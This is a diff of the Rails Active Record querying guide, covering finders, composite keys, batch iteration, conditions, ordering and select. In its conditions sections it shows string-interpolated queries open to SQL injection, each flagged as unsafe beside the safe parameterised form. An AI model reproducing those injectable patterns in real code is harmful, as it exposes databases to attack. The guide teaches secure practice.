 You can also use this method to query for multiple objects. Call the `find` method and pass in an array of primary keys. The return will be an array containing all of the matching records for the supplied _primary keys_. For example:
 
-```ruby
-# Find the clients with primary keys 1 and 10.
-client = Client.find([1, 10]) # Or even Client.find(1, 10)
-# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
+```irb
+# Find the customers with primary keys 1 and 10.
+irb> customers = Customer.find([1, 10]) # OR Customer.find(1, 10)
+=> [#<Customer id: 1, first_name: "Lifo">, #<Customer id: 10, first_name: "Ryan">]
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients WHERE (clients.id IN (1,10))
+SELECT * FROM customers WHERE (customers.id IN (1,10))
 ```
 
 WARNING: The `find` method will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys.
 
+If your table uses a composite primary key, you'll need to pass in an array to find a single item. For instance, if customers were defined with `[:store_id, :id]` as a primary key:
+
+```irb
+# Find the customer with store_id 3 and id 17
+irb> customers = Customer.find([3, 17])
+=> #<Customer store_id: 3, id: 17, first_name: "Magda">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM customers WHERE store_id = 3 AND id = 17
+```
+
+To find multiple customers with composite IDs, you would pass an array of arrays:
+
+```irb
+# Find the customers with primary keys [1, 8] and [7, 15].
+irb> customers = Customer.find([[1, 8], [7, 15]]) # OR Customer.find([1, 8], [7, 15])
+=> [#<Customer store_id: 1, id: 8, first_name: "Pat">, #<Customer store_id: 7, id: 15, first_name: "Chris">]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM customers WHERE (store_id = 1 AND id = 8 OR store_id = 7 AND id = 15)
+```
+
 #### `take`
 
-The `take` method retrieves a record without any implicit ordering. For example:
+The [`take`][] method retrieves a record without any implicit ordering. For example:
 
-```ruby
-client = Client.take
-# => #<Client id: 1, first_name: "Lifo">
+```irb
+irb> customer = Customer.take
+=> #<Customer id: 1, first_name: "Lifo">
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients LIMIT 1
+SELECT * FROM customers LIMIT 1
 ```
 
 The `take` method returns `nil` if no record is found and no exception will be raised.
 
-You can pass in a numerical argument to the `take` method to return up to that number of results. For example
+You can pass in a numerical argument to the `take` method to return up to that number of results. For example:
 
-```ruby
-client = Client.take(2)
-# => [
-#   #<Client id: 1, first_name: "Lifo">,
-#   #<Client id: 220, first_name: "Sara">
-# ]
+```irb
+irb> customers = Customer.take(2)
+=> [#<Customer id: 1, first_name: "Lifo">, #<Customer id: 220, first_name: "Sara">]
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients LIMIT 2
+SELECT * FROM customers LIMIT 2
 ```
 
-The `take!` method behaves exactly like `take`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.
+The [`take!`][] method behaves exactly like `take`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.
 
 TIP: The retrieved record may vary depending on the database engine.
 
+[`take`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-take
+[`take!`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-take-21
+
 #### `first`
 
-The `first` method finds the first record ordered by primary key (default). For example:
+The [`first`][] method finds the first record ordered by primary key (default). For example:
 
-```ruby
-client = Client.first
-# => #<Client id: 1, first_name: "Lifo">
+```irb
+irb> customer = Customer.first
+=> #<Customer id: 1, first_name: "Lifo">
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+SELECT * FROM customers ORDER BY customers.id ASC LIMIT 1
 ```
 
 The `first` method returns `nil` if no matching record is found and no exception will be raised.
 
 If your [default scope](active_record_querying.html#applying-a-default-scope) contains an order method, `first` will return the first record according to this ordering.
 
-You can pass in a numerical argument to the `first` method to return up to that number of results. For example
+You can pass in a numerical argument to the `first` method to return up to that number of results. For example:
 
-```ruby
-client = Client.first(3)
-# => [
-#   #<Client id: 1, first_name: "Lifo">,
-#   #<Client id: 2, first_name: "Fifo">,
-#   #<Client id: 3, first_name: "Filo">
-# ]
+```irb
+irb> customers = Customer.first(3)
+=> [#<Customer id: 1, first_name: "Lifo">, #<Customer id: 2, first_name: "Fifo">, #<Customer id: 3, first_name: "Filo">]
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients ORDER BY clients.id ASC LIMIT 3
+SELECT * FROM customers ORDER BY customers.id ASC LIMIT 3
+```
+
+Models with composite primary keys will use the full composite primary key for ordering.
+For instance, if customers were defined with `[:store_id, :id]` as a primary key:
+
+```irb
+irb> customer = Customer.first
+=> #<Customer id: 2, store_id: 1, first_name: "Lifo">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM customers ORDER BY customers.store_id ASC, customers.id ASC LIMIT 1
 ```
 
 On a collection that is ordered using `order`, `first` will return the first record ordered by the specified attribute for `order`.
 
-```ruby
-client = Client.order(:first_name).first
-# => #<Client id: 2, first_name: "Fifo">
+```irb
+irb> customer = Customer.order(:first_name).first
+=> #<Customer id: 2, first_name: "Fifo">
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients ORDER BY clients.first_name ASC LIMIT 1
+SELECT * FROM customers ORDER BY customers.first_name ASC LIMIT 1
 ```
 
-The `first!` method behaves exactly like `first`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.
+The [`first!`][] method behaves exactly like `first`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.
+
+[`first`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-first
+[`first!`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-first-21
 
 #### `last`
 
-The `last` method finds the last record ordered by primary key (default). For example:
+The [`last`][] method finds the last record ordered by primary key (default). For example:
 
-```ruby
-client = Client.last
-# => #<Client id: 221, first_name: "Russel">
+```irb
+irb> customer = Customer.last
+=> #<Customer id: 221, first_name: "Russel">
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+SELECT * FROM customers ORDER BY customers.id DESC LIMIT 1
 ```
 
 The `last` method returns `nil` if no matching record is found and no exception will be raised.
 
+Models with composite primary keys will use the full composite primary key for ordering.
+For instance, if customers were defined with `[:store_id, :id]` as a primary key:
+
+```irb
+irb> customer = Customer.last
+=> #<Customer id: 221, store_id: 1, first_name: "Lifo">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM customers ORDER BY customers.store_id DESC, customers.id DESC LIMIT 1
+```
+
 If your [default scope](active_record_querying.html#applying-a-default-scope) contains an order method, `last` will return the last record according to this ordering.
 
-You can pass in a numerical argument to the `last` method to return up to that number of results. For example
+You can pass in a numerical argument to the `last` method to return up to that number of results. For example:
 
-```ruby
-client = Client.last(3)
-# => [
-#   #<Client id: 219, first_name: "James">,
-#   #<Client id: 220, first_name: "Sara">,
-#   #<Client id: 221, first_name: "Russel">
-# ]
+```irb
+irb> customers = Customer.last(3)
+=> [#<Customer id: 219, first_name: "James">, #<Customer id: 220, first_name: "Sara">, #<Customer id: 221, first_name: "Russel">]
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients ORDER BY clients.id DESC LIMIT 3
+SELECT * FROM customers ORDER BY customers.id DESC LIMIT 3
 ```
 
 On a collection that is ordered using `order`, `last` will return the last record ordered by the specified attribute for `order`.
 
-```ruby
-client = Client.order(:first_name).last
-# => #<Client id: 220, first_name: "Sara">
+```irb
+irb> customer = Customer.order(:first_name).last
+=> #<Customer id: 220, first_name: "Sara">
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients ORDER BY clients.first_name DESC LIMIT 1
+SELECT * FROM customers ORDER BY customers.first_name DESC LIMIT 1
 ```
 
-The `last!` method behaves exactly like `last`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.
+The [`last!`][] method behaves exactly like `last`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found.
+
+[`last`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-last
+[`last!`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-last-21
 
 #### `find_by`
 
-The `find_by` method finds the first record matching some conditions. For example:
+The [`find_by`][] method finds the first record matching some conditions. For example:
 
-```ruby
-Client.find_by first_name: 'Lifo'
-# => #<Client id: 1, first_name: "Lifo">
+```irb
+irb> Customer.find_by first_name: 'Lifo'
+=> #<Customer id: 1, first_name: "Lifo">
 
-Client.find_by first_name: 'Jon'
-# => nil
+irb> Customer.find_by first_name: 'Jon'
+=> nil
 ```
 
 It is equivalent to writing:
 
 ```ruby
-Client.where(first_name: 'Lifo').take
+Customer.where(first_name: "Lifo").take
 ```
 
 The SQL equivalent of the above is:
 
 ```sql
-SELECT * FROM clients WHERE (clients.first_name = 'Lifo') LIMIT 1
+SELECT * FROM customers WHERE (customers.first_name = 'Lifo') LIMIT 1
 ```
 
-The `find_by!` method behaves exactly like `find_by`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. For example:
+Note that there is no `ORDER BY` in the above SQL.  If your `find_by` conditions can match multiple records, you should [apply an order](#ordering) to guarantee a deterministic result.
 
-```ruby
-Client.find_by! first_name: 'does not exist'
-# => ActiveRecord::RecordNotFound
+The [`find_by!`][] method behaves exactly like `find_by`, except that it will raise `ActiveRecord::RecordNotFound` if no matching record is found. For example:
+
+```irb
+irb> Customer.find_by! first_name: 'does not exist'
+ActiveRecord::RecordNotFound
 ```
 
 This is equivalent to writing:
 
 ```ruby
-Client.where(first_name: 'does not exist').take!
+Customer.where(first_name: "does not exist").take!
+```
+
+[`find_by`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find_by
+[`find_by!`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find_by-21
+
+##### Conditions with `:id`
+
+When specifying conditions on methods like [`find_by`][] and [`where`][], the use of `id` will match against
+an `:id` attribute on the model. This is different from [`find`][], where the ID passed in should be a primary key value.
+
+Take caution when using `find_by(id:)` on models where `:id` is not the primary key, such as composite primary key models.
+For example, if customers were defined with `[:store_id, :id]` as a primary key:
+
+```irb
+irb> customer = Customer.last
+=> #<Customer id: 10, store_id: 5, first_name: "Joe">
+irb> Customer.find_by(id: customer.id) # Customer.find_by(id: [5, 10])
+=> #<Customer id: 5, store_id: 3, first_name: "Bob">
+```
+
+Here, we might intend to search for a single record with the composite primary key `[5, 10]`, but Active Record will
+search for a record with an `:id` column of _either_ 5 or 10, and may return the wrong record.
+
+TIP: The [`id_value`][] method can be used to fetch the value of the `:id` column for a record, for use in finder
+methods such as `find_by` and `where`. See example below:
+
+```irb
+irb> customer = Customer.last
+=> #<Customer id: 10, store_id: 5, first_name: "Joe">
+irb> Customer.find_by(id: customer.id_value) # Customer.find_by(id: 10)
+=> #<Customer id: 10, store_id: 5, first_name: "Joe">
 ```
 
+[`id_value`]: https://api.rubyonrails.org/classes/ActiveRecord/ModelSchema.html#method-i-id_value
+
 ### Retrieving Multiple Objects in Batches
 
-We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data.
+We often need to iterate over a large set of records, as when we send a newsletter to a large set of customers, or when we export data.
 
 This may appear straightforward:
 
 ```ruby
 # This may consume too much memory if the table is big.
-User.all.each do |user|
-  NewsMailer.weekly(user).deliver_now
+Customer.all.each do |customer|
+  NewsMailer.weekly(customer).deliver_now
 end
 ```
 
-But this approach becomes increasingly impractical as the table size increases, since `User.all.each` instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available.
+But this approach becomes increasingly impractical as the table size increases, since `Customer.all.each` instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available.
 
 Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, `find_each`, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, `find_in_batches`, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models.
 
@@ -327,11 +485,11 @@ TIP: The `find_each` and `find_in_batches` methods are intended for use in the b
 
 #### `find_each`
 
-The `find_each` method retrieves records in batches and then yields _each_ one to the block. In the following example, `find_each` retrieves users in batches of 1000 and yields them to the block one by one:
+The [`find_each`][] method retrieves records in batches and then yields _each_ one to the block. In the following example, `find_each` retrieves customers in batches of 1000 and yields them to the block one by one:
 
 ```ruby
-User.find_each do |user|
-  NewsMailer.weekly(user).deliver_now
+Customer.find_each do |customer|
+  NewsMailer.weekly(customer).deliver_now
 end
 ```
 
@@ -340,20 +498,23 @@ This process is repeated, fetching more batches as needed, until all of the reco
 `find_each` works on model classes, as seen above, and also on relations:
 
 ```ruby
-User.where(weekly_subscriber: true).find_each do |user|
-  NewsMailer.weekly(user).deliver_now
+Customer.where(weekly_subscriber: true).find_each do |customer|
+  NewsMailer.weekly(customer).deliver_now
 end
 ```
 
 as long as they have no ordering, since the method needs to force an order
 internally to iterate.
 
-If an order is present in the receiver the behaviour depends on the flag
-`config.active_record.error_on_ignored_order`. If true, `ArgumentError` is
+If an order is present in the receiver the behavior depends on the flag
+[`config.active_record.error_on_ignored_order`][]. If true, `ArgumentError` is
 raised, otherwise the order is ignored and a warning issued, which is the
 default. This can be overridden with the option `:error_on_ignore`, explained
 below.
 
+[`config.active_record.error_on_ignored_order`]: configuring.html#config-active-record-error-on-ignored-order
+[`find_each`]: https://api.rubyonrails.org/classes/ActiveRecord/Batches.html#method-i-find_each
+
 ##### Options for `find_each`
 
 **`:batch_size`**
@@ -361,20 +522,20 @@ below.
 The `:batch_size` option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000:
 
 ```ruby
-User.find_each(batch_size: 5000) do |user|
-  NewsMailer.weekly(user).deliver_now
+Customer.find_each(batch_size: 5000) do |customer|
+  NewsMailer.weekly(customer).deliver_now
 end
 ```
 
 **`:start`**
 
-By default, records are fetched in ascending order of the primary key, which must be an integer. The `:start` option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.
+By default, records are fetched in ascending order of the primary key. The `:start` option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.
 
-For example, to send newsletters only to users with the primary key starting from 2000:
+For example, to send newsletters only to customers with the primary key starting from 2000:
 
 ```ruby
-User.find_each(start: 2000) do |user|
-  NewsMailer.weekly(user).deliver_now
+Customer.find_each(start: 2000) do |customer|
+  NewsMailer.weekly(customer).deliver_now
 end
 ```
 
@@ -383,11 +544,11 @@ end
 Similar to the `:start` option, `:finish` allows you to configure the last ID of the sequence whenever the highest ID is not the one you need.
 This would be useful, for example, if you wanted to run a batch process using a subset of records based on `:start` and `:finish`.
 
-For example, to send newsletters only to users with the primary key starting from 2000 up to 10000:
+For example, to send newsletters only to customers with the primary key starting from 2000 up to 10000:
 
 ```ruby
-User.find_each(start: 2000, finish: 10000) do |user|
-  NewsMailer.weekly(user).deliver_now
+Customer.find_each(start: 2000, finish: 10000) do |customer|
+  NewsMailer.weekly(customer).deliver_now
 end
 ```
 
@@ -400,49 +561,96 @@ appropriate `:start` and `:finish` options on each worker.
 Overrides the application config to specify if an error should be raised when an
 order is present in the relation.
 
+**`:order`**
+
+Specifies the primary key order (can be `:asc` or `:desc`). Defaults to `:asc`.
+
+```ruby
+Customer.find_each(order: :desc) do |customer|
+  NewsMailer.weekly(customer).deliver_now
+end
+```
+
 #### `find_in_batches`
 
-The `find_in_batches` method is similar to `find_each`, since both retrieve batches of records. The difference is that `find_in_batches` yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices:
+The [`find_in_batches`][] method is similar to `find_each`, since both retrieve batches of records. The difference is that `find_in_batches` yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 customers at a time, with the final block containing any remaining customers:
 
 ```ruby
-# Give add_invoices an array of 1000 invoices at a time.
-Invoice.find_in_batches do |invoices|
-  export.add_invoices(invoices)
+# Give add_customers an array of 1000 customers at a time.
+Customer.find_in_batches do |customers|
+  export.add_customers(customers)
 end
 ```
 
 `find_in_batches` works on model classes, as seen above, and also on relations:
 
 ```ruby
-Invoice.pending.find_in_batches do |invoice|
-  pending_invoices_export.add_invoices(invoices)
+# Give add_customers an array of 1000 recently active customers at a time.
+Customer.recently_active.find_in_batches do |customers|
+  export.add_customers(customers)
 end
 ```
 
 as long as they have no ordering, since the method needs to force an order
 internally to iterate.
 
+[`find_in_batches`]: https://api.rubyonrails.org/classes/ActiveRecord/Batches.html#method-i-find_in_batches
+
 ##### Options for `find_in_batches`
 
-The `find_in_batches` method accepts the same options as `find_each`.
+The `find_in_batches` method accepts the same options as `find_each`:
+
+**`:batch_size`**
+
+Just like for `find_each`, `batch_size` establishes how many records will be retrieved in each group. For example, retrieving batches of 2500 records can be specified as:
+
+```ruby
+Customer.find_in_batches(batch_size: 2500) do |customers|
+  export.add_customers(customers)
+end
+```
+
+**`:start`**
+
+The `start` option allows specifying the beginning ID from where records will be selected. As mentioned before, by default records are fetched in ascending order of the primary key. For example, to retrieve customers starting on ID: 5000 in batches of 2500 records, the following code can be used:
+
+```ruby
+Customer.find_in_batches(batch_size: 2500, start: 5000) do |customers|
+  export.add_customers(customers)
+end
+```
+
+**`:finish`**
+
+The `finish` option allows specifying the ending ID of the records to be retrieved. The code below shows the case of retrieving customers in batches, up to the customer with ID: 7000:
+
+```ruby
+Customer.find_in_batches(finish: 7000) do |customers|
+  export.add_customers(customers)
+end
+```
+
+**`:error_on_ignore`**
+
+The `error_on_ignore` option overrides the application config to specify if an error should be raised when a specific order is present in the relation.
 
 Conditions
 ----------
 
-The `where` method allows you to specify conditions to limit the records returned, representing the `WHERE`-part of the SQL statement. Conditions can either be specified as a string, array, or hash.
+The [`where`][] method allows you to specify conditions to limit the records returned, representing the `WHERE`-part of the SQL statement. Conditions can either be specified as a string, array, or hash.
 
 ### Pure String Conditions
 
-If you'd like to add conditions to your find, you could just specify them in there, just like `Client.where("orders_count = '2'")`. This will find all clients where the `orders_count` field's value is 2.
+If you'd like to add conditions to your find, you could just specify them in there, just like `Book.where("title = 'Introduction to Algorithms'")`. This will find all books where the `title` field value is 'Introduction to Algorithms'.
 
-WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, `Client.where("first_name LIKE '%#{params[:first_name]}%'")` is not safe. See the next section for the preferred way to handle conditions using an array.
+WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, `Book.where("title LIKE '%#{params[:title]}%'")` is not safe. See the next section for the preferred way to handle conditions using an array.
 
 ### Array Conditions
 
-Now what if that number could vary, say as an argument from somewhere? The find would then take the form:
+Now what if that title could vary, say as an argument from somewhere? The find would then take the form:
 
 ```ruby
-Client.where("orders_count = ?", params[:orders])
+Book.where("title = ?", params[:title])
 ```
 
 Active Record will take the first argument as the conditions string and any additional arguments will replace the question marks `(?)` in it.
@@ -450,21 +658,21 @@ Active Record will take the first argument as the conditions string and any addi
 If you want to specify multiple conditions:
 
 ```ruby
-Client.where("orders_count = ? AND locked = ?", params[:orders], false)
+Book.where("title = ? AND out_of_print = ?", params[:title], false)
 ```
 
-In this example, the first question mark will be replaced with the value in `params[:orders]` and the second will be replaced with the SQL representation of `false`, which depends on the adapter.
+In this example, the first question mark will be replaced with the value in `params[:title]` and the second will be replaced with the SQL representation of `false`, which depends on the adapter.
 
 This code is highly preferable:
 
 ```ruby
-Client.where("orders_count = ?", params[:orders])
+Book.where("title = ?", params[:title])
 ```
 
 to this code:
 
 ```ruby
-Client.where("orders_count = #{params[:orders]}")
+Book.where("title = #{params[:title]}")
 ```
 
 because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
@@ -476,219 +684,333 @@ TIP: For more information on the dangers of SQL injection, see the [Ruby on Rail
 Similar to the `(?)` replacement style of params, you can also specify keys in your conditions string along with a corresponding keys/values hash:
 
 ```ruby
-Client.where("created_at >= :start_date AND created_at <= :end_date",
-  {start_date: params[:start_date], end_date: params[:end_date]})
+Book.where("created_at >= :start_date AND created_at <= :end_date",
+  { start_date: params[:start_date], end_date: params[:end_date] })
 ```
 
 This makes for clearer readability if you have a large number of variable conditions.
 
+#### Conditions That Use `LIKE`
+
+Although condition arguments are automatically escaped to prevent SQL injection, SQL `LIKE` wildcards (i.e., `%` and `_`) are **not** escaped. This may cause unexpected behavior if an unsanitized value is used in an argument. For example:
+
+```ruby
+Book.where("title LIKE ?", params[:title] + "%")
+```
+
+In the above code, the intent is to match titles that start with a user-specified string. However, any occurrences of `%` or `_` in `params[:title]` will be treated as wildcards, leading to surprising query results. In some circumstances, this may also prevent the database from using an intended index, leading to a much slower query.
+
+To avoid these problems, use [`sanitize_sql_like`][] to escape wildcard characters in the relevant portion of the argument:
+
+```ruby
+Book.where("title LIKE ?",
+  Book.sanitize_sql_like(params[:title]) + "%")
+```
+
+[`sanitize_sql_like`]: https://api.rubyonrails.org/classes/ActiveRecord/Sanitization/ClassMethods.html#method-i-sanitize_sql_like
+
 ### Hash Conditions
 
 Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want qualified and the values of how you want to qualify them:
 
-NOTE: Only equality, range and subset checking are possible with Hash conditions.
+NOTE: Only equality, range, and subset checking are possible with Hash conditions.
 
 #### Equality Conditions
 
 ```ruby
-Client.where(locked: true)
+Book.where(out_of_print: true)
 ```
 
 This will generate SQL like this:
 
 ```sql
-SELECT * FROM clients WHERE (clients.locked = 1)
+SELECT * FROM books WHERE (books.out_of_print = 1)
 ```
 
 The field name can also be a string:
 
 ```ruby
-Client.where('locked' => true)
+Book.where("out_of_print" => true)
 ```
 
 In the case of a belongs_to relationship, an association key can be used to specify the model if an Active Record object is used as the value. This method works with polymorphic relationships as well.
 
 ```ruby
-Article.where(author: author)
-Author.joins(:articles).where(articles: { author: author })
+author = Author.first
+Book.where(author: author)
+Author.joins(:books).where(books: { author: author })
+```
+
+Hash conditions may also be specified in a tuple-like syntax, where the key is an array of columns and the value is
+an array of tuples:
+
+```ruby
+Book.where([:author_id, :id] => [[15, 1], [15, 2]])
 ```
 
-NOTE: The values cannot be symbols. For example, you cannot do `Client.where(status: :active)`.
+This syntax can be useful for querying relations where the table uses a composite primary key:
+
+```ruby
+class Book < ApplicationRecord
+  self.primary_key = [:author_id, :id]
+end
+
+Book.where(Book.primary_key => [[2, 1], [3, 1]])
+```
 
 #### Range Conditions
 
 ```ruby
-Client.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight)
+Book.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight)
 ```
 
-This will find all clients created yesterday by using a `BETWEEN` SQL statement:
+This will find all books created yesterday by using a `BETWEEN` SQL statement:
 
 ```sql
-SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
+SELECT * FROM books WHERE (books.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
 ```
 
 This demonstrates a shorter syntax for the examples in [Array Conditions](#array-conditions)
 
+Beginless and endless ranges are supported and can be used to build less/greater than conditions.
+
+```ruby
+Book.where(created_at: (Time.now.midnight - 1.day)..)
+```
+
+This would generate SQL like:
+
+```sql
+SELECT * FROM books WHERE books.created_at >= '2008-12-21 00:00:00'
+```
+
 #### Subset Conditions
 
 If you want to find records using the `IN` expression you can pass an array to the conditions hash:
 
 ```ruby
-Client.where(orders_count: [1,3,5])
+Customer.where(orders_count: [1, 3, 5])
 ```
 
 This code will generate SQL like this:
 
 ```sql
-SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
+SELECT * FROM customers WHERE (customers.orders_count IN (1,3,5))
 ```
 
 ### NOT Conditions
 
-`NOT` SQL queries can be built by `where.not`:
+`NOT` SQL queries can be built by [`where.not`][]:
 
 ```ruby
-Client.where.not(locked: true)
+Customer.where.not(orders_count: [1, 3, 5])
 ```
 
 In other words, this query can be generated by calling `where` with no argument, then immediately chain with `not` passing `where` conditions.  This will generate SQL like this:
 
 ```sql
-SELECT * FROM clients WHERE (clients.locked != 1)
+SELECT * FROM customers WHERE (customers.orders_count NOT IN (1,3,5))
+```
+
+If a query has a hash condition with non-nil values on a nullable column, the records that have `nil` values on the nullable column won't be returned. For example:
+
+```ruby
+Customer.create!(nullable_country: nil)
+Customer.where.not(nullable_country: "UK")
+# => []
+
+# But
+Customer.create!(nullable_country: "UK")
+Customer.where.not(nullable_country: nil)
+# => [#<Customer id: 2, nullable_country: "UK">]
+```
+
+[`where.not`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods/WhereChain.html#method-i-not
+
+### OR Conditions
+
+`OR` conditions between two relations can be built by calling [`or`][] on the first
+relation, and passing the second one as an argument.
+
+```ruby
+Customer.where(last_name: "Smith").or(Customer.where(orders_count: [1, 3, 5]))
+```
+
+```sql
+SELECT * FROM customers WHERE (customers.last_name = 'Smith' OR customers.orders_count IN (1,3,5))
 ```
 
+[`or`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-or
+
+### AND Conditions
+
+`AND` conditions can be built by chaining `where` conditions.
+
+```ruby
+Customer.where(last_name: "Smith").where(orders_count: [1, 3, 5])
+```
+
+```sql
+SELECT * FROM customers WHERE customers.last_name = 'Smith' AND customers.orders_count IN (1,3,5)
+```
+
+`AND` conditions for the logical intersection between relations can be built by
+calling [`and`][] on the first relation, and passing the second one as an
+argument.
+
+```ruby
+Customer.where(id: [1, 2]).and(Customer.where(id: [2, 3]))
+```
+
+```sql
+SELECT * FROM customers WHERE (customers.id IN (1, 2) AND customers.id IN (2, 3))
+```
+
+[`and`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-and
+
 Ordering
 --------
 
-To retrieve records from the database in a specific order, you can use the `order` method.
+To retrieve records from the database in a specific order, you can use the [`order`][] method.
 
 For example, if you're getting a set of records and want to order them in ascending order by the `created_at` field in your table:
 
 ```ruby
-Client.order(:created_at)
+Book.order(:created_at)
 # OR
-Client.order("created_at")
+Book.order("created_at")
 ```
 
 You could specify `ASC` or `DESC` as well:
 
 ```ruby
-Client.order(created_at: :desc)
+Book.order(created_at: :desc)
 # OR
-Client.order(created_at: :asc)
+Book.order(created_at: :asc)
 # OR
-Client.order("created_at DESC")
+Book.order("created_at DESC")
 # OR
-Client.order("created_at ASC")
+Book.order("created_at ASC")
 ```
 
 Or ordering by multiple fields:
 
 ```ruby
-Client.order(orders_count: :asc, created_at: :desc)
+Book.order(title: :asc, created_at: :desc)
 # OR
-Client.order(:orders_count, created_at: :desc)
+Book.order(:title, created_at: :desc)
 # OR
-Client.order("orders_count ASC, created_at DESC")
+Book.order("title ASC, created_at DESC")
 # OR
-Client.order("orders_count ASC", "created_at DESC")
+Book.order("title ASC", "created_at DESC")
 ```
 
 If you want to call `order` multiple times, subsequent orders will be appended to the first:
 
+```irb
+irb> Book.order("title ASC").order("created_at DESC")
+SELECT * FROM books ORDER BY title ASC, created_at DESC
+```
+
+You can also order from a joined table
+
 ```ruby
-Client.order("orders_count ASC").order("created_at DESC")
-# SELECT * FROM clients ORDER BY orders_count ASC, created_at DESC
+Book.includes(:author).order(books: { print_year: :desc }, authors: { name: :asc })
+# OR
+Book.includes(:author).order("books.print_year desc", "authors.name asc")
 ```
-WARNING: If you are using **MySQL 5.7.5** and above, then on selecting fields from a result set using methods like `select`, `pluck` and `ids`; the `order` method will raise an `ActiveRecord::StatementInvalid` exception unless the field(s) used in `order` clause are included in the select list. See the next section for selecting fields from the result set.
+
+WARNING: In most database systems, on selecting fields with `distinct` from a result set using methods like `select`, `pluck` and `ids`; the `order` method will raise an `ActiveRecord::StatementInvalid` exception unless the field(s) used in `order` clause are included in the select list. See the next section for selecting fields from the result set.
 
 Selecting Specific Fields
 -------------------------
 
 By default, `Model.find` selects all the fields from the result set using `select *`.
 
-To select only a subset of fields from the result set, you can specify the subset via the `select` method.
+To select only a subset of fields from the result set, you can specify the subset via the [`select`][] method.
 
-For example, to select only `viewable_by` and `locked` columns:
+For example, to select only `isbn` and `out_of_print` columns:
 
 ```ruby
-Client.select("viewable_by, locked")
+Book.select(:isbn, :out_of_print)
+# OR
+Book.select("isbn, out_of_print")
 ```
 
 The SQL query used by this find call will be somewhat like:
 
 ```sql
-SELECT viewable_by, locked FROM clients
+SELECT isbn, out_of_print FROM books
 ```
 
 Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:
 
-```bash
-ActiveModel::MissingAttributeError: missing attribute: <attribute>
+```
+ActiveModel::MissingAttributeError: missing attribute '<attribute>' for Book
 ```
 
 Where `<attribute>` is the attribute you asked for. The `id` method will not raise the `ActiveRecord::MissingAttributeError`, so just be careful when working with associations because they need the `id` method to function properly.
 
-If you would like to only grab a single record per unique value in a certain field, you can use `distinct`:
+If you would like to only grab a single record per unique value in a certain field, you can use [`distinct`][]:
 
 ```ruby
-Client.select(:name).distinct
+Customer.select(:last_name).distinct
 ```
 
 This would generate SQL like:
 
 ```sql
-SELECT DISTINCT name FROM clients
+SELECT DISTINCT last_name FROM customers
